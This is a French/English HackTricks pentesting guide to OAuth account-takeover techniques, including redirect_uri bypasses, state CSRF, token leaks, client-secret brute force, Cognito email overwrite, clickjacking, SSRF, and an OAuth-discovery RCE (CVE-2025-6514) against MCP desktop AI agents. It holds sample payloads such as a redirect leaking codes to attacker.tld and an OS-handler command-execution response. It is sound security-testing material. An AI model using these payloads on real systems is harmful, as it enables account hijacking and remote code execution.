OAuth to Account takeover

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

OAuth offers various versions, with foundational insights accessible at OAuth 2.0 documentation. This discussion primarily centers on the widely used OAuth 2.0 authorization code grant type, providing an cadre d’autorisation qui permet Ă  une application d’accĂ©der ou d’effectuer des actions sur le compte d’un utilisateur dans une autre application (the authorization server).

Considérons un site hypothétique https://example.com, conçu pour afficher tous vos posts sur les réseaux sociaux, y compris les posts privés. Pour ce faire, OAuth 2.0 est utilisé. https://example.com demandera votre permission pour accéder à vos posts sur les réseaux sociaux. Par conséquent, un écran de consentement apparaßtra sur https://socialmedia.com, décrivant les permissions demandées et le développeur effectuant la demande. AprÚs votre autorisation, https://example.com obtient la capacité de consulter vos posts en votre nom.

Il est essentiel de comprendre les composants suivants dans le framework OAuth 2.0 :

  • resource owner: Vous, en tant que user/entity, autorisez l’accĂšs Ă  votre ressource, comme les posts de votre compte sur les rĂ©seaux sociaux.
  • resource server: Le serveur qui gĂšre les requĂȘtes authentifiĂ©es aprĂšs que l’application a obtenu un access token au nom du resource owner, par exemple https://socialmedia.com.
  • client application: L’application qui demande l’autorisation du resource owner, telle que https://example.com.
  • authorization server: Le serveur qui dĂ©livre les access tokens Ă  la client application aprĂšs l’authentification rĂ©ussie du resource owner et l’obtention de l’autorisation, par exemple https://socialmedia.com.
  • client_id: Un identifiant public et unique pour l’application.
  • client_secret: Une clĂ© confidentielle, connue uniquement de l’application et de l’authorization server, utilisĂ©e pour gĂ©nĂ©rer des access_tokens.
  • response_type: Une valeur spĂ©cifiant le type de token demandĂ©, comme code.
  • scope: Le niveau d’accĂšs que la client application demande au resource owner.
  • redirect_uri: L’URL vers laquelle l’utilisateur est redirigĂ© aprĂšs l’autorisation. Cela doit gĂ©nĂ©ralement correspondre Ă  l’URL de redirection prĂ©-enregistrĂ©e.
  • state: Un paramĂštre pour conserver des donnĂ©es pendant la redirection de l’utilisateur vers et depuis l’authorization server. Son unicitĂ© est critique pour servir de mĂ©canisme de protection CSRF.
  • grant_type: Un paramĂštre indiquant le type de grant et le type de token Ă  retourner.
  • code: Le code d’autorisation provenant de l’authorization server, utilisĂ© conjointement avec client_id et client_secret par la client application pour obtenir un access_token.
  • access_token: Le token que la client application utilise pour les requĂȘtes API au nom du resource owner.
  • refresh_token: Permet Ă  l’application d’obtenir un nouveau access_token sans redemander Ă  l’utilisateur.

Flux

Le flux OAuth réel se déroule comme suit :

  1. Vous naviguez vers https://example.com et sélectionnez le bouton « Intégrer aux réseaux sociaux ».
  2. Le site envoie alors une requĂȘte Ă  https://socialmedia.com demandant votre autorisation pour permettre Ă  l’application de https://example.com d’accĂ©der Ă  vos posts. La requĂȘte est structurĂ©e comme :
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
  1. Une page de consentement vous est alors présentée.
  2. AprÚs votre approbation, Social Media envoie une réponse au redirect_uri contenant les paramÚtres code et state :
https://example.com?code=uniqueCode123&state=randomString123
  1. https://example.com utilise ce code, avec son client_id et son client_secret, pour effectuer une requĂȘte cĂŽtĂ© serveur afin d’obtenir un access_token en votre nom, permettant d’accĂ©der aux permissions auxquelles vous avez consenti :
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
  1. Enfin, le processus se conclut lorsque https://example.com utilise votre access_token pour effectuer un appel API vers Social Media afin d’accĂ©der

Vulnérabilités

Open redirect_uri

Per RFC 6749 §3.1.2, le serveur d’autorisation doit rediriger le navigateur uniquement vers des pre-registered, exact redirect URIs. Toute faiblesse ici permet Ă  un attaquant d’envoyer une victime via une URL d’autorisation malveillante afin que l’IdP livre le code (et le state) de la victime directement vers un endpoint contrĂŽlĂ© par l’attaquant, qui peut alors l’échanger et rĂ©colter des tokens.

Flux d’attaque typique :

  1. CrĂ©er https://idp.example/auth?...&redirect_uri=https://attacker.tld/callback et l’envoyer Ă  la victime.
  2. La victime s’authentifie et approuve les scopes.
  3. L’IdP redirige vers attacker.tld/callback?code=<victim-code>&state=... oĂč l’attaquant enregistre la requĂȘte et Ă©change immĂ©diatement le code.

Bugs de validation courants Ă  tester :

  • Aucune validation – toute URL absolue est acceptĂ©e, entraĂźnant le vol instantanĂ© du code.
  • VĂ©rifications faibles par sous-chaĂźne/regex sur l’hĂŽte – contournement possible avec des lookalikes tels que evilmatch.com, match.com.evil.com, match.com.mx, matchAmatch.com, evil.com#match.com, ou match.com@evil.com.
  • IDN homograph mismatches – la validation se fait sur la forme punycode (xn--), mais le navigateur redirige vers le domaine Unicode contrĂŽlĂ© par l’attaquant.
  • Chemins arbitraires sur un hĂŽte autorisĂ© – en pointant redirect_uri vers /openredirect?next=https://attacker.tld ou tout endpoint XSS/contenu-utilisateur, cela leaks le code soit via des redirections en chaĂźne, les Referer headers, ou du JavaScript injectĂ©.
  • Contraintes de rĂ©pertoire sans normalisation – des motifs comme /oauth/* peuvent ĂȘtre contournĂ©s avec /oauth/../anything.
  • Wildcard subdomains – accepter *.example.com signifie que tout takeover (dangling DNS, S3 bucket, etc.) fournit immĂ©diatement un callback valide.
  • Callbacks non-HTTPS – laisser passer des URI http:// donne aux attaquants rĂ©seau (Wi‑Fi, proxy d’entreprise) l’occasion d’attraper le code en transit.

Passez Ă©galement en revue les paramĂštres auxiliaires de type redirect (client_uri, policy_uri, tos_uri, initiate_login_uri, etc.) et le document de dĂ©couverte OpenID (/.well-known/openid-configuration) pour d’autres endpoints susceptibles d’hĂ©riter des mĂȘmes bugs de validation.

Fuite de tokens de redirection sur des domaines allowlistĂ©s avec des sous-chemins contrĂŽlĂ©s par l’attaquant

Verrouiller le redirect_uri sur des « domaines owned/first-party » n’aide pas si un domaine allowlistĂ© expose des chemins ou contextes d’exĂ©cution contrĂŽlĂ©s par l’attaquant (plateformes d’apps legacy, namespaces utilisateurs, uploads CMS, etc.). Si le flux OAuth/federated login returns tokens in the URL (query ou hash), un attaquant peut :

  1. Démarrer un flux légitime pour mint un pré-token (par ex., un etoken dans un flux Accounts Center/FXAuth en plusieurs étapes).
  2. Envoyer Ă  la victime une URL d’autorisation qui met le domaine allowlistĂ© comme redirect_uri/base_uri mais pointe le next/chemin vers un namespace contrĂŽlĂ© par l’attaquant (par ex., https://apps.facebook.com/<attacker_app>).
  3. AprĂšs que la victime approuve, l’IdP redirige vers le chemin contrĂŽlĂ© par l’attaquant avec des valeurs sensibles dans l’URL (token, blob, codes, etc.).
  4. Le JavaScript sur cette page lit window.location et exfiltre les valeurs malgré que le domaine soit « trusted ».
  5. Rejouer les valeurs capturĂ©es contre des endpoints privilĂ©giĂ©s en aval qui n’attendent que les tokens fournis via la redirection.

Exemples provenant du flux FXAuth :

# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>

# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>

XSS dans l’implĂ©mentation du redirect

Comme mentionnĂ© dans ce rapport de bug bounty https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html il est possible que la redirect URL soit reflĂ©tĂ©e dans la rĂ©ponse du serveur aprĂšs l’authentification de l’utilisateur, Ă©tant vulnĂ©rable Ă  XSS. Payload possible Ă  tester:

https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>

CSRF - Mauvaise gestion du paramĂštre state

Le paramĂštre state est le CSRF token du Authorization Code flow : le client doit gĂ©nĂ©rer une valeur cryptographiquement alĂ©atoire par instance de navigateur, la persister quelque part que seul ce navigateur peut lire (cookie, local storage, etc.), l’envoyer dans la requĂȘte d’autorisation, et rejeter toute rĂ©ponse qui ne renvoie pas la mĂȘme valeur. Chaque fois que la valeur est statique, prĂ©visible, optionnelle ou non liĂ©e Ă  la session de l’utilisateur, l’attaquant peut terminer son propre flux OAuth, capturer la requĂȘte finale contenant ?code= (sans l’envoyer), puis contraindre plus tard un navigateur victime Ă  rejouer cette requĂȘte pour que le compte de la victime soit liĂ© au profil de l’attaquant chez l’identity provider.

Le schĂ©ma de replay est toujours le mĂȘme :

  1. L’attaquant s’authentifie auprĂšs de l’IdP avec son compte et intercepte le dernier redirect contenant code (et Ă©ventuellement state).
  2. Il abandonne cette requĂȘte, conserve l’URL, et abuse ensuite de n’importe quel primitive CSRF (lien, iframe, formulaire auto-soumis) pour forcer le navigateur victime Ă  la charger.
  3. Si le client n’applique pas state, l’application consomme le rĂ©sultat d’autorisation de l’attaquant et connecte l’attaquant au compte de l’application de la victime.

Checklist pratique pour la gestion de state pendant les tests :

  • Missing state entirely – si le paramĂštre n’apparaĂźt jamais, tout le login est vulnĂ©rable Ă  CSRF.
  • state not required – supprimez-le de la requĂȘte initiale ; si l’IdP dĂ©livre quand mĂȘme des codes que le client accepte, la dĂ©fense est opt-in.
  • Returned state not validated – altĂ©rez la valeur dans la rĂ©ponse (Burp, MITM proxy). Accepter des valeurs non concordantes signifie que le token stockĂ© n’est jamais comparĂ©.
  • Predictable or purely data-driven state – beaucoup d’apps placent des chemins de redirection ou des blobs JSON dans state sans y ajouter d’entropie, permettant aux attaquants de deviner des valeurs valides et de rejouer des flows. Toujours prĂ©fixer/suffixer une forte entropie avant d’encoder les donnĂ©es.
  • state fixation – si l’app permet aux utilisateurs de fournir la valeur state (par ex. via des URLs d’autorisation craftĂ©es) et la rĂ©utilise tout au long du flow, un attaquant peut verrouiller une valeur connue et la rĂ©utiliser sur plusieurs victimes.

PKCE peut complĂ©ter state (surtout pour les public clients) en liant l’autorization code Ă  un code verifier, mais les clients web doivent malgrĂ© tout suivre state pour prĂ©venir les bugs CSRF/liens de compte entre utilisateurs.

Pre Account Takeover

  1. Sans vĂ©rification de l’adresse e-mail lors de la crĂ©ation du compte : Les attaquants peuvent crĂ©er de maniĂšre prĂ©ventive un compte en utilisant l’adresse e-mail de la victime. Si la victime utilise plus tard un service tiers pour se connecter, l’application pourrait involontairement lier ce compte tiers au compte prĂ©-créé de l’attaquant, conduisant Ă  un accĂšs non autorisĂ©.
  2. Exploitation d’une vĂ©rification d’adresse e-mail laxiste sur OAuth : Les attaquants peuvent abuser de services OAuth qui ne vĂ©rifient pas les e-mails en s’inscrivant chez eux puis en changeant l’e-mail du compte pour celui de la victime. Cette mĂ©thode prĂ©sente un risque d’accĂšs non autorisĂ© similaire au premier scĂ©nario, mais via un vecteur diffĂ©rent.

Disclosure of Secrets

Le client_id est intentionnellement public, mais le client_secret ne doit jamais ĂȘtre rĂ©cupĂ©rable par les utilisateurs finaux. Les dĂ©ploiements Authorization Code qui embarquent le secret dans des APK mobiles, des clients desktop ou des single-page apps donnent en pratique cette credential Ă  quiconque peut tĂ©lĂ©charger le package. Inspectez toujours les public clients en :

  • DĂ©compressant l’APK/IPA, l’installateur desktop ou l’app Electron et en recherchant (grep) client_secret, des blobs Base64 dĂ©codables en JSON, ou des endpoints OAuth codĂ©s en dur.
  • Revue des fichiers de config embarquĂ©s (plist, JSON, XML) ou des chaĂźnes dĂ©compilĂ©es Ă  la recherche de credentials client.

Une fois que l’attaquant extrait le secret, il lui suffit de voler n’importe quel code d’autorisation d’une victime (via un redirect_uri faible, des logs, etc.) pour frapper /token indĂ©pendamment et gĂ©nĂ©rer des access/refresh tokens sans impliquer l’app lĂ©gitime. ConsidĂ©rez les public/native clients comme incapables de garder des secrets — ils devraient plutĂŽt s’appuyer sur PKCE (RFC 7636) pour prouver la possession d’un code verifier par instance plutĂŽt qu’un secret statique. Pendant les tests, confirmez si PKCE est obligatoire et si le backend rejette effectivement les Ă©changes de tokens qui omettent soit le client_secret ou un code_verifier valide.

Client Secret Bruteforce

Vous pouvez essayer de bruteforcer le client_secret d’un service provider avec l’identity provider afin d’essayer de voler des comptes.
La requĂȘte pour BF peut ressembler Ă  :

POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close

code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]

Referer/Header/Location artifacts leaking Code + State

Once the client has the code and state, if they surface in location.href or document.referrer and are forwarded to third parties, they leak. Two recurring patterns:

  • Classic Referer leak: after the OAuth redirect, any navigation that keeps ?code=&state= in the URL will push them into the Referer header sent to CDNs/analytics/ads.
  • Telemetry/analytics confused deputy: some SDKs (pixels/JS loggers) react to postMessage events and then send the current location.href/referrer to backend APIs using a token supplied in the message. If you can inject your own token into that flow (e.g., via an attacker-controlled postMessage relay), you can later read the SDK’s API request history/logs and recover the victim’s OAuth artifacts embedded in those requests.

Access Token Stored in Browser History

The core guarantee of the Authorization Code grant is that access tokens never reach the resource owner’s browser. When implementations leak tokens client-side, any minor bug (XSS, Referer leak, proxy logging) becomes instant account compromise. Always check for:

  • Tokens in URLs – if access_token appears in the query/fragment, it lands in browser history, server logs, analytics, and Referer headers sent to third parties.
  • Tokens transiting untrusted middleboxes – returning tokens over HTTP or through debugging/corporate proxies lets network observers capture them directly.
  • Tokens stored in JavaScript state – React/Vue stores, global variables, or serialized JSON blobs expose tokens to every script on the origin (including XSS payloads or malicious extensions).
  • Tokens persisted in Web Storage – localStorage/sessionStorage retain tokens long after logout on shared devices and are script-accessible.

Any of these findings usually upgrades otherwise “low” bugs (like a CSP bypass or DOM XSS) into full API takeover because the attacker can simply read and replay the leaked bearer token.

Everlasting Authorization Code

Authorization codes must be short-lived, single-use, and replay-aware. When assessing a flow, capture a code and:

  • Test the lifetime – RFC 6749 recommends minutes, not hours. Try redeeming the code after 5–10 minutes; if it still works, the exposure window for any leaked code is excessive.
  • Test sequential reuse – send the same code twice. If the second request yields another token, attackers can clone sessions indefinitely.
  • Test concurrent redemption/race conditions – fire two token requests in parallel (Burp intruder, turbo intruder). Weak issuers sometimes grant both.
  • Observe replay handling – a reuse attempt should not only fail but also revoke any tokens already minted from that code. Otherwise, a detected replay leaves the attacker’s first token active.

Combining a replay-friendly code with any redirect_uri or logging bug allows persistent account access even after the victim completes the legitimate login.

Authorization/Refresh Token not bound to client

If you can get the authorization code and redeem it for a different client/app, you can takeover other accounts. Test for weak binding by:

  • Capturing a code for app A and sending it to app B’s token endpoint; if you still receive a token, audience binding is broken.
  • Trying first-party token minting endpoints that should be restricted to their own client IDs; if they accept arbitrary state/app_id while only validating the code, you effectively perform an authorization-code swap to mint higher-privileged first-party tokens.
  • Checking whether client binding ignores nonce/redirect URI mismatches. If an error page still loads SDKs that log location.href, combine with Referer/telemetry leaks to steal codes and redeem them elsewhere.

Any endpoint that exchanges code → token must verify the issuing client, redirect URI, and nonce; otherwise, a stolen code from any app can be upgraded to a first-party access token.

Happy Paths, XSS, Iframes & Post Messages to leak code & state values

Check this post

AWS Cognito

In this bug bounty report: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ you can see that the token that AWS Cognito gives back to the user might have enough permissions to overwrite the user data. Therefore, if you can change the user email for a different user email, you might be able to take over others accounts.

# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]

# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}

Pour plus d’infos dĂ©taillĂ©es sur la façon d’abuser d’AWS Cognito, consultez AWS Cognito - Unauthenticated Enum Access.

Abusing other Apps tokens

Comme mentioned in this writeup, les flux OAuth qui s’attendent Ă  recevoir le token (et non un code) pourraient ĂȘtre vulnĂ©rables s’ils ne vĂ©rifient pas que le token appartient Ă  l’application.

Ceci s’explique parce qu’un attacker pourrait crĂ©er une application supporting OAuth and login with Facebook (par exemple) dans sa propre application. Ensuite, une fois qu’une victim se connecte via Facebook dans l’attackers application, l’attaquant pourrait obtenir le OAuth token of the user given to his application, and use it to login in the victim OAuth application using the victims user token.

Caution

Donc, si l’attacker parvient Ă  faire en sorte que l’utilisateur accĂšde Ă  sa propre OAuth application, il pourra prendre le contrĂŽle du victims account dans des applications qui attendent un token et ne vĂ©rifient pas si le token a Ă©tĂ© accordĂ© Ă  leur app ID.

Selon this writeup, il Ă©tait possible d’amener une victim Ă  ouvrir une page avec un returnUrl pointant vers l’attackers host. Cette info serait stored in a cookie (RU) et, lors d’une later step, le prompt demandera au user s’il veut donner l’accĂšs Ă  cet attackers host.

Pour bypasser ce prompt, il Ă©tait possible d’ouvrir un onglet pour initier le Oauth flow qui dĂ©finirait ce cookie RU en utilisant le returnUrl, fermer l’onglet avant que le prompt ne s’affiche, puis ouvrir un nouvel onglet sans cette valeur. Ensuite, le prompt won’t inform about the attackers host, mais le cookie serait rĂ©glĂ© sur celui-ci, donc le token will be sent to the attackers host lors de la redirection.

Prompt Interaction Bypass

Comme expliquĂ© dans this video, certaines implĂ©mentations OAuth permettent d’indiquer le paramĂštre GET prompt Ă  None (&prompt=none) pour prevent users being asked to confirm l’accĂšs donnĂ© dans un prompt sur le web si ils sont dĂ©jĂ  connectĂ©s Ă  la plateforme.

response_mode

Comme explained in this video, il peut ĂȘtre possible d’indiquer le paramĂštre response_mode pour indiquer oĂč vous voulez que le code soit fourni dans l’URL finale :

  • response_mode=query -> Le code est fourni Ă  l’intĂ©rieur d’un paramĂštre GET : ?code=2397rf3gu93f
  • response_mode=fragment -> Le code est fourni Ă  l’intĂ©rieur du fragment de l’URL #code=2397rf3gu93f
  • response_mode=form_post -> Le code est fourni Ă  l’intĂ©rieur d’un formulaire POST avec un input appelĂ© code et la valeur
  • response_mode=web_message -> Le code est envoyĂ© dans un post message : window.opener.postMessage({"code": "asdasdasd...

Les dialogues de consentement/connexion OAuth sont des cibles idĂ©ales pour le clickjacking : s’ils peuvent ĂȘtre encadrĂ©s, un attacker peut superposer des graphismes personnalisĂ©s, masquer les vrais boutons et tromper les users pour qu’ils approuvent des scopes dangereux ou lient des comptes. Construisez des PoCs qui :

  1. Load the IdP authorization URL inside an <iframe sandbox="allow-forms allow-scripts allow-same-origin">.
  2. Use absolute positioning/opacity tricks to align fake buttons with the hidden Allow/Approve controls.
  3. Optionally pre-fill parameters (scopes, redirect URI) so the stolen approval immediately benefits the attacker.

Lors des tests, vĂ©rifiez que les pages IdP Ă©mettent soit X-Frame-Options: DENY/SAMEORIGIN soit une Content-Security-Policy: frame-ancestors 'none' restrictive. Si aucune n’est prĂ©sente, dĂ©montrez le risque avec des outils comme NCC Group’s clickjacking PoC generator et enregistrez Ă  quel point une victim autorise facilement l’app de l’attacker. Pour d’autres idĂ©es de payload, voir Clickjacking.

OAuth ROPC flow - 2 FA bypass

Selon this blog post, il s’agit d’un OAuth flow qui permet de se connecter via username et password. Si, pendant ce flux simple, un token avec accĂšs Ă  toutes les actions que l’user peut effectuer est renvoyĂ©, il est possible de bypasser le 2FA en utilisant ce token.

ATO on web page redirecting based on open redirect to referrer

Ce blogpost explique comment il Ă©tait possible d’abuser d’un open redirect basĂ© sur la valeur du referrer pour abuser OAuth en vue d’un ATO. L’attaque Ă©tait :

  1. Victim access the attackers web page
  2. The victim opens the malicious link and an opener starts the Google OAuth flow with response_type=id_token,code&prompt=none as additional parameters using as referrer the attackers website.
  3. In the opener, after the provider authorizes the victim, it sends them back to the value of the redirect_uri parameter (victim web) with 30X code which still keeps the attackers website in the referer.
  4. The victim website trigger the open redirect based on the referrer redirecting the victim user to the attackers website, as the respose_type was id_token,code, the code will be sent back to the attacker in the fragment of the URL allowing him to tacke over the account of the user via Google in the victims site.

SSRFs parameters

Check this research Pour plus de détails sur cette technique.

Dynamic Client Registration in OAuth sert de vecteur moins Ă©vident mais critique pour des vulnĂ©rabilitĂ©s de sĂ©curitĂ©, spĂ©cifiquement pour des attaques Server-Side Request Forgery (SSRF). Cet endpoint permet aux serveurs OAuth de recevoir des dĂ©tails sur des client applications, y compris des URLs sensibles qui pourraient ĂȘtre exploitĂ©es.

Key Points:

  • Dynamic Client Registration est souvent mappĂ© sur /register et accepte des dĂ©tails comme client_name, client_secret, redirect_uris, et des URLs pour les logos ou JSON Web Key Sets (JWKs) via des requĂȘtes POST.
  • Cette fonctionnalitĂ© respecte les spĂ©cifications dĂ©crites dans RFC7591 et OpenID Connect Registration 1.0, qui incluent des paramĂštres potentiellement vulnĂ©rables au SSRF.
  • Le processus d’enregistrement peut involontairement exposer les serveurs au SSRF de plusieurs façons :
  • logo_uri : Une URL pour le logo de la client application qui pourrait ĂȘtre rĂ©cupĂ©rĂ©e par le serveur, dĂ©clenchant un SSRF ou conduisant Ă  un XSS si l’URL est mal gĂ©rĂ©e.
  • jwks_uri : Une URL vers le document JWK du client, qui si elle est manipulĂ©e malicieusement, peut pousser le serveur Ă  effectuer des requĂȘtes sortantes vers un serveur contrĂŽlĂ© par l’attaquant.
  • sector_identifier_uri : RĂ©fĂ©rence un tableau JSON de redirect_uris, que le serveur pourrait rĂ©cupĂ©rer, crĂ©ant une opportunitĂ© SSRF.
  • request_uris : Liste des request URIs autorisĂ©es pour le client, qui peuvent ĂȘtre exploitĂ©es si le serveur rĂ©cupĂšre ces URIs au dĂ©marrage du processus d’autorisation.

Exploitation Strategy:

  • Le SSRF peut ĂȘtre dĂ©clenchĂ© en enregistrant un nouveau client avec des URLs malicieuses dans des paramĂštres comme logo_uri, jwks_uri ou sector_identifier_uri.
  • Bien que l’exploitation directe via request_uris puisse ĂȘtre attĂ©nuĂ©e par des contrĂŽles de whitelist, fournir un request_uri prĂ©-enregistrĂ© et contrĂŽlĂ© par l’attaquant peut faciliter le SSRF pendant la phase d’autorisation.

OAuth/OIDC Discovery URL Abuse & OS Command Execution

La recherche sur CVE-2025-6514 (impactant des clients mcp-remote tels que Claude Desktop, Cursor ou Windsurf) montre comment dynamic OAuth discovery devient une primitive RCE chaque fois que le client transmet les metadata IdP directement au systĂšme d’exploitation. Le serveur MCP distant renvoie un authorization_endpoint contrĂŽlĂ© par l’attaquant lors de l’échange de discovery (/.well-known/openid-configuration ou tout RPC de metadata). mcp-remote ≀0.1.15 appelait alors le gestionnaire d’URL du systĂšme (start, open, xdg-open, etc.) avec n’importe quelle chaĂźne reçue, de sorte que tout scheme/chemin supportĂ© par l’OS s’exĂ©cutait localement.

Attack workflow

  1. Point the desktop agent to a hostile MCP/OAuth server (npx mcp-remote https://evil). The agent receives 401 plus metadata.
  2. The server answers with JSON such as:
HTTP/1.1 200 OK
Content-Type: application/json

{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
  1. Le client lance le gestionnaire OS pour l’URI fourni. Windows accepte des payloads comme file:/c:/windows/system32/calc.exe /c"powershell -enc ..." ; macOS/Linux acceptent file:///Applications/Calculator.app/... ou mĂȘme des schemes personnalisĂ©s tels que cmd://bash -lc '<payload>' s’ils sont enregistrĂ©s.
  2. Parce que cela se produit avant toute interaction utilisateur, le simple fait de configurer le client pour qu’il parle au serveur de l’attaquant entraĂźne l’exĂ©cution de code.

Comment tester

  • Ciblez tout desktop/agent compatible OAuth qui effectue la discovery via HTTP(S) et ouvre localement les endpoints retournĂ©s (Electron apps, CLI helpers, thick clients).
  • Interceptez ou hĂ©bergez la rĂ©ponse de discovery et remplacez authorization_endpoint, device_authorization_endpoint, ou des champs similaires par file://, cmd://, des chemins UNC, ou d’autres schemes dangereux.
  • VĂ©rifiez si le client valide le scheme/host. L’absence de validation entraĂźne une exĂ©cution immĂ©diate dans le contexte de l’utilisateur et prouve la vulnĂ©rabilitĂ©.
  • RĂ©pĂ©tez avec diffĂ©rents schemes pour cartographier l’ensemble de la surface d’attaque (p.ex., ms-excel:, data:text/html,, custom protocol handlers) et dĂ©montrer la portĂ©e cross-platform.

OAuth providers Race Conditions

If the platform you are testing is an OAuth provider read this to test for possible Race Conditions.

Mutable Claims Attack

In OAuth, the sub field uniquely identifies a user, but its format varies by Authorization Server. To standardize user identification, some clients use emails or user handles. However, this is risky because:

  • Some Authorization Servers do not ensure that these properties (like email) remain immutable.
  • In certain implementations—such as “Login with Microsoft”—the client relies on the email field, which is user-controlled by the user in Entra ID and not verified.
  • An attacker can exploit this by creating their own Azure AD organization (e.g., doyensectestorg) and using it to perform a Microsoft login.
  • Even though the Object ID (stored in sub) is immutable and secure, the reliance on a mutable email field can enable an account takeover (for example, hijacking an account like victim@gmail.com).

Client Confusion Attack

In a Client Confusion Attack, an application using the OAuth Implicit Flow fails to verify that the final access token is specifically generated for its own Client ID. An attacker sets up a public website that uses Google’s OAuth Implicit Flow, tricking thousands of users into logging in and thereby harvesting access tokens intended for the attacker’s site. If these users also have accounts on another vulnerable website that does not validate the token’s Client ID, the attacker can reuse the harvested tokens to impersonate the victims and take over their accounts.

Scope Upgrade Attack

The Authorization Code Grant type involves secure server-to-server communication for transmitting user data. However, if the Authorization Server implicitly trusts a scope parameter in the Access Token Request (a parameter not defined in the RFC), a malicious application could upgrade the privileges of an authorization code by requesting a higher scope. After the Access Token is generated, the Resource Server must verify it: for JWT tokens, this involves checking the JWT signature and extracting data such as client_id and scope, while for random string tokens, the server must query the Authorization Server to retrieve the token’s details.

Redirect Scheme Hijacking

In mobile OAuth implementations, apps use custom URI schemes to receive redirects with Authorization Codes. However, because multiple apps can register the same scheme on a device, the assumption that only the legitimate client controls the redirect URI is violated. On Android, for instance, an Intent URI like com.example.app:// is matched based on the scheme and optional filters defined in an app’s intent-filter. Since Android’s intent resolution can be broad—especially if only the scheme is specified—an attacker can register a malicious app with a carefully crafted intent filter to hijack the authorization code. This can enable an account takeover either through user interaction (when multiple apps are eligible to handle the intent) or via bypass techniques that exploit overly specific filters, as detailed by Ostorlab’s assessment flowchart.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks